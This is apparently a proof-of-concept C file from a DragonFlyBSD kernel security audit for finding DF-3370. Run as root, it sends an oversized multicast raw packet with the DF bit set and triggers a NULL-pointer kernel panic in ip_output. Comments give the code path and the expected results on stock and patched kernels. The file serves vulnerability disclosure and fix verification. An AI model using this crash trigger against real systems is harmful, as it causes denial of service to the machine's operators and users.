โฌข DragonFlyBSD Kernel Audit
DF-3370 / rawdf.c
โ† back to finding โ†“ download raw
/*
 * DF-3370 PoC โ€” ip_output.c:712 NULL rtentry dereference (kernel panic).
 *
 * Unprivileged users cannot set IP_DF on DragonFly (no IP_DONTFRAG sockopt,
 * sys/netinet/in.h:405; raw sockets gated by SYSCAP_NONET_RAW,
 * sys/netinet/raw_ip.c:473), so the trigger here runs as root via a raw
 * socket โ€” the code path itself is fully deterministic:
 *
 *   ip_output() with a multicast destination and IP_MULTICAST_IF set takes
 *   the "bypass routing" branch (ip_output.c:309-317) which selects ifp
 *   from imo->imo_multicast_ifp and NEVER fills ro->ro_rt.  An oversized
 *   (len > ifp->if_mtu) packet with IP_DF set then falls into
 *   ip_output.c:703-715:
 *
 *	if (ip->ip_off & htons(IP_DF)) {
 *		error = EMSGSIZE;
 *		...
 *		if ((ro->ro_rt->rt_flags & (RTF_UP | RTF_HOST)) &&   <-- NULL!
 *
 *   ro->ro_rt == NULL -> page fault in ip_output -> kernel panic.
 *
 * Build: cc -O -o rawdf rawdf.c
 * Run (as root): ./rawdf            -> expect kernel panic on serial console
 * Run on fixed kernel:              -> sendto() returns -1 EMSGSIZE (Message too long)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define PKTLEN 2000			/* > vtnet0 mtu 1500 */

int
main(void)
{
	int s, one = 1;
	struct ip_mreqn mreqn;
	struct sockaddr_in dst;
	static unsigned char pkt[PKTLEN];
	struct ip *ip = (struct ip *)pkt;
	ssize_t n;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		perror("socket(SOCK_RAW, IPPROTO_RAW) (needs root)");
		return 1;
	}
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
		perror("setsockopt(IP_HDRINCL)");
		return 1;
	}

	/*
	 * Pin the multicast interface: makes ip_output take the
	 * imo->imo_multicast_ifp branch with ro->ro_rt left NULL.
	 */
	memset(&mreqn, 0, sizeof(mreqn));
	mreqn.imr_ifindex = if_nametoindex("vtnet0");
	if (mreqn.imr_ifindex == 0) {
		perror("if_nametoindex(vtnet0)");
		return 1;
	}
	if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, &mreqn, sizeof(mreqn)) < 0) {
		perror("setsockopt(IP_MULTICAST_IF)");
		return 1;
	}

	/* Skeletal IP header, taken verbatim because of IP_HDRINCL. */
	memset(pkt, 0, sizeof(pkt));
	((unsigned char *)ip)[0] = 0x45;	/* v4, hlen 20 (userland hdr) */
	ip->ip_len = htons(PKTLEN);		/* 2000 > 1500 */
	ip->ip_id  = 0;			/* kernel fills */
	ip->ip_off = htons(IP_DF);		/* << the DF bit */
	ip->ip_ttl = 1;			/* default mcast TTL, != 0 */
	ip->ip_p   = IPPROTO_UDP;
	ip->ip_src.s_addr = INADDR_ANY;	/* kernel picks ifp addr */
	ip->ip_dst.s_addr = inet_addr("224.0.0.5");	/* not joined */
	memset(pkt + sizeof(struct ip), 0x41, PKTLEN - sizeof(struct ip));

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_len = sizeof(dst);
	dst.sin_addr = ip->ip_dst;

	printf("DF-3370: sending %d-byte DF multicast via vtnet0 (mtu 1500)\n",
	    PKTLEN);
	printf("DF-3370: stock kernel: expect FATAL TRAP 12 in ip_output "
	    "(ro->ro_rt == NULL at ip_output.c:712)\n");
	printf("DF-3370: fixed kernel: expect sendto() == -1 EMSGSIZE\n");
	fflush(stdout);

	n = sendto(s, pkt, PKTLEN, 0, (struct sockaddr *)&dst, sizeof(dst));
	printf("DF-3370: sendto returned %zd errno=%d (%s)\n",
	    n, errno, strerror(errno));
	if (n < 0 && errno == EMSGSIZE)
		printf("DF-3370: EMSGSIZE โ€” patched behaviour, no panic\n");
	return 0;
}